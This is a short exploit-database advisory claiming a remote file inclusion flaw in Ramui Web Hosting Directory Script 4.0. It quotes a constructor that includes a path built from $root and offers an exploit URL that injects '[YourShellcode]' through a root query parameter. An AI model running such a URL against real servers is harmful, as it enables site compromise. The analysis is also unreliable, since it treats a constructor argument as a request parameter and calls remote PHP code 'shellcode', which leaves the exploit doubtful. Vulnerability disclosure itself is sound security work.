Ramui Web Hosting Directory Script 4.0 – Remote File Inclusion

• Exploit Database
• 21 阅读

• 作者： bd0rk
  日期： 2016-01-28
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/39355/

• # Title: Ramui web hosting directory script 4.0 Remote File Include Vulnerability
  # Author: bd0rk
  # Twitter: twitter.com/bd0rk
  # Vendor: http://www.ramui.com
  # Download: http://ramui.com/directory-script/download-v4.html
  
  Proof-of-Concept:
  /gb/include/connection.php lines 6-13 in php-sourcecode
  ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  class connection
  {
  protected $site;
  public $error=false;
  protected $admin=false;
  function __construct($root)
  {
  include $root."database/config.php";
  ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  
  The $root-parameter is a __construct.
  But no value was passed to him.
  Therefore, nothing can be checked before include in line 13.
  So an attacker can execute malicious shellcode about it.
  In this case, the __construct is meaningless.
  
  
  [+]Exploit: http://[server]/path/gb/include/connection.php?root=[YourShellcode]
  
  
  ~~Everything revolves. Even the planet. :)~~
  ***Greetz to ALL my followers on Twitter!***
  
  /bd0rk